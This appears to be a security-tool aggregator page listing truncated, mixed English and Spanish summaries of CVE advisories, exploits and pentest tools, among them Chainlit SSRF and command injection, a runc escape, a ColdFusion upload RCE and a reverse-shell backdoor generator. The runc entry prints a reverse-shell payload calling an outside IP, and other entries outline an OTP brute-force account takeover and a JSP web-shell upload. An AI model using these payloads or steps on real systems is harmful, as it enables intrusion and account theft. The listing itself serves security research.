CVE-2026-55099

icalendar is an RFC 5545 compatible parser and generator of iCalendar files for Python. From 7.1.0 until 7.1.3, the Component equality method in src/icalendar/cal/component.py compares nested subcomponents with two membership loops, and each membership test invokes the same method on child...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Uso : La máquina es vulnerable a CVE-2019-5736, sigue los pasos del exploit de Runc CVE-2019-5736. Descarga el archivo main.go, cambia el payload en el archivo a: root@kitploit: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" Después de eso,...

uptux

uptux Chequeos especializados de escalada de privilegios para sistemas Linux. Implementados hasta ahora: Rutas de systemd, servicios, temporizadores y unidades de socket escribibles Desensambla archivos de unidad systemd buscando: Referencias a ejecutables que son escribibles Referencias a enlace...

phantom-playbooks

Este es el repositorio de Corelight para los playbooks de la comunidad desarrollados para Splunk Phantom. Estos proporcionan algunos ejemplos para que puedas crear tus propios playbooks. Corelight Investigate DNS Alert Este playbook toma una búsqueda guardada o un mecanismo de alerta para DNS de...

CVE-2015-1635

️⃣ CVE-2015-1635 Requisitos: Python = 3.6 Instalar requisitos con: pip3 install -r requirements.txt Ejemplo de uso: python3 MS15-034.py -u http://targeturl.com/ -c -d Argumentos:...

freshonions-torscraper

Fresh Onions - Rastreador de Servicios Ocultos TOR Esta es una copia del código fuente del servicio oculto http://zlal32teyptf4tvi.onion, que implementa un rastreador / araña de servicios ocultos TOR y un sitio web. Características Rastrea la darknet en busca de nuevos servicios ocultos Encuentra...

CVE-2025-10658

Exploit: SupportCandy Guest OTP Brute Force → Account Takeover 1 Initiate OTP login flow browser Open: root@kitploit: /support/ Select guest / OTP login Enter target email e.g. [email protected] Submit 2 Extract required values from the OTP form In DevTools → Network →...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion RCE Este repositorio contiene mi código de exploit para la vulnerabilidad RCE en Adobe ColdFusion 2021. Descripción del Exploit El exploit envía una solicitud POST que contiene un reverse shell JSP a /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm...

Strutscli

StrutsExp Uso strutsexp http://example.com/index.action...

Strutshock

Strutshock Uso strutshock http://example.com/index.action...

Zerodoor

ZeroDoor Un script escrito perezosamente para generar puertas traseras de shell inversa sobre la marcha cuando las necesites sin complicaciones para tus necesidades diarias de penetración. Estas puertas traseras no son cosas de alta tecnología de James Bond, sino simples para evitar la...

JSFScan.sh

JSFScan.sh El blog se puede encontrar en https://medium.com/@patelkathan22/beginners-guide-on-how-you-can-use-javascript-in-bugbounty-492f6eb1f9ea?sk=21500dc4288281c7e6ed2315943269e7 Script creado para toda tu automatización de reconocimiento de JavaScript en bug bounty. Simplemente pasa la lista...

Chainlist has SSRF via MCP SSE and streamable-http transports that allows unauthenticated internal network access

Am I affected? Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session. Summary When MCP ...

EUVD-2026-65738

Chainlit is a Python framework for building production-ready conversational AI applications. From 2.4.0rc0 until 2.12.0, Chainlit deployments with features.mcp.enabled set to true in .chainlit/config.toml expose the POST /mcp endpoint without requiring authentication. For sse and streamable-http...

CVE-2026-45019

Chainlit is a Python framework for building production-ready conversational AI applications. From 2.4.0rc0 until 2.12.0, Chainlit deployments with features.mcp.enabled set to true in .chainlit/config.toml expose the POST /mcp endpoint without requiring authentication. For sse and streamable-http...

CVE-2026-45019 Chainlit: SSRF via MCP SSE and streamable-http transports allows unauthenticated internal network access

Chainlit is a Python framework for building production-ready conversational AI applications. From 2.4.0rc0 until 2.12.0, Chainlit deployments with features.mcp.enabled set to true in .chainlit/config.toml expose the POST /mcp endpoint without requiring authentication. For sse and streamable-http...

Chainlit has command injection via MCP stdio transport that allows unauthenticated remote code execution

Am I affected? Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session. Summary When MCP ...

ModSecurity

Libmodsecurity es uno de los componentes del proyecto ModSecurity v3. El código base de la biblioteca sirve como interfaz para los conectores de ModSecurity, que reciben tráfico web y aplican el procesamiento tradicional de ModSecurity. En general, proporciona la capacidad de cargar/interpretar...

raven

Raven Actualmente no se mantiene Raven es una herramienta de recopilación de información de LinkedIn que puede ser utilizada por pentesters para recopilar información sobre los empleados de una organización usando LinkedIn. Aviso legal root@kitploit: Por favor, no uses este programa para hacer...

brokentooth

brokentooth POC para CVE-2018-4327 al menos eso creo, ya que @SparkZheng discutió tanto CVE-2018-4327 como CVE-2018-4330, pero no queda claro por su parte cuál se relaciona con cada bug; pero como describió este primero, me lanzo a adivinar. Probado en iPhone 6S 11.3.1 Debería funcionar hasta 11....